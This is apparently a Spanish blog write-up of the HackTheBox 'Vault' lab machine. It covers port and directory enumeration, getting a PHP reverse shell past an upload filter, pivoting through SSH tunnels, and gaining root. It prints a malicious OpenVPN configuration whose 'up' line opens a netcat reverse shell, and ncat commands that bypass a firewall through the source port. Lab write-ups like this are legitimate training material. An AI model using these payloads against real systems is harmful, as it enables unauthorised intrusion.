En este post haremos la máquina Vault de HackTheBox.
Es una máquina Linux de nivel medio que me ha resultado bastante interesante. Tendremos que subir una shell reversa al servidor web, saltándonos algunos filtros, y pivotar entre distintas máquinas internas.


Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -T4 -sV -sC 10.10.10.109

Únicamente encontramos dos puertos abierto: SSH y HTTP. Vamos a echarle un ojo a la web.
En el index nos encontramos con el siguiente mensaje:

Como veis, nos dice que su primer cliente es Sparklays y que Sparklays.com está en construcción.
Para continuar con la enumeración, lancé un buscador de directorios:

Tras no encontrar nada, caí en que /sparklays podría tener algo interesante.

/sparklays nos devuelve Código 403 (Forbidden), así que vamos a ejecutar otro buscador de directorios desde ahí:

gobuster dir -u http://10.10.10.109/sparklays/ -w /usr/share/wordlists/dirb/common.txt -x html,php -t 50 -s 200,204,301,302

En admin.php y login.php no se encuentra nada que pueda resultarnos útil. Por ello, el siguiente paso es enumerar /sparklays/design:

gobuster dir -u http://10.10.10.109/sparklays/design/ -w /usr/share/wordlists/dirb/common.txt -x html,php -t 50 -s 200,204,301,302


Finalmente, en /sparklays/design/design.html encontramos algo interesante:

Explotación

A través del enlace “Change Logo” accedemos a /sparklays/design/changelogo.php que resulta ser una página que nos permite subir ficheros y suponemos que se suben a /sparklays/design/uploads/.

Intentamos subir una shell reversa con extensión “.php” lo cual nos da error, ¿no iba a ser tan fácil no?
En esta ocasión podemos utilizar el tutorial File upload to RCE que nos puede ayudar a bypassear los filtros de la página.

Probemos a modificar la extensión del fichero, para ello podemos utilizar el Intruder de BurpSuite con algún diccionario de extensiones web.

Tras ejecutarlo y ordenar los resultados por el tamaño de la respuesta, encontramos que se nos permite subir fichero con extensión .php5:

Ahora basta con establecer la escucha y acceder a http://10.10.10.109/sparklays/design/uploads/php-reverse-shell.php5

Escalada de privilegios

Hemos accedido como usuario www-data a través de la web. El siguiente paso va a ser conseguir acceder a alguno de los otros usuarios del sistema: alex, dave o root.

Revisando los directorios personales de dave, encontramos algunos ficheros interesantes:

En el fichero /home/dave/Desktop/ssh encontramos las credenciales para acceder por SSH con usuario Dave.

Mientras que en los otros ficheros encontramos algunas IPs y una contraseña (que no es la de alex o root).

Para poder enumerar fácilmente las IPs del fichero Servers, nos podemos subir un binario de Nmap.

La máquina 192.168.122.4 tiene los puertos 22 y 80 abiertos. Para poder ver la web a través del navegador utlizamos un tunnel SSH:

ssh -L 80:192.168.122.4:80 [email protected]

Ahora podemos ver la web de la máquina en http://localhost:

Antes de ejecutar escaneos automáticos, detectamos que en /vpnconfig.php podemos subir configuraciones de OpenVPN y ejecutarlas. Esto nos va a permitir obtener una shell reversa: Shells reversas mediante ficheros de configuración (.ovpn) de OpenVPN maliciosos.

remote 192.168.122.1
dev tun
nobind
script-security 2 
up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 1234 >/tmp/f'"

Establecemos la escucha en la máquina “ubuntu” y tras ejecutar la configuración de OpenVPN nos salta la shell como Root.

En el directorio /home/dave encontramos las credenciales del SSH y el flag de usuario:

Ahora podemos acceder por SSH que es más cómodo, además el usuario Dave puede ejecutar cualquier comando como superusuario asi que podemos ser root:

Tras enumerar de arriba a abajo el servidor, vi que habia una ruta para la subred 192.168.5.0/24 y que mirando algunos logs podría encontrar algo de utilidad.

En el fichero /var/log/auth.log encontramos conexiones con la ip 192.168.5.2.
Para ver más cómodamente todas las interacciones, escribí un pequeño script:

import re

with open("auth.log") as f:
    logs = f.read().split("\n")

pat = re.compile("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")
for log in logs:
    if pat.search(log) != None and "0.0.0.0" not in log and "192.168.122.1" not in log:
        print(log)

Entre estos logs, destacan los tres últimos:

Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn –source-port=4444 -f
Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 –sh-exec ncat 192.168.5.2 987 -p 53
Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 –sh-exec ncat 192.168.5.2 987 -p 53

El primer comando se trata de un escaneo de puertos a la máquina 192.168.5.2 y llama la atención que se realiza desde el puerto 4444.
Vamos a replicar este comando desde el mismo puerto y desde otro:

Como veis, el puerto 987 sólo aparece como abierto si se realiza el escaneo desde el puerto 4444.
Cuando se establece conexión con un servicio en un puerto X, se utiliza un puerto “efímero” de la máquina origen para establecer la conexión.
Los otros dos comandos nos sirven para “enseñarnos” cómo hacer una petición via netcat desde un puerto efímero concreto.
Podemos utilizar un comando similiar para establecer conexión con el puerto 987 desde el 4444:

ncat -l 2222 --sh-exec "ncat -p 4444 192.168.5.2 987"

El servicio se trata de un SSH. Vamos a conectarnos con las credenciales encontradas en /home/dave:

En esta máquina nos encontramos un fichero: root.txt.gpg, vamos a descargarlo en la máquina “ubuntu”:

En la máquina inicial (Ubuntu) habiamos encontrado una contraseña que hasta ahora no hemos utilizado, probemos con el flag encriptado:

¿Me ayudas a compatirlo?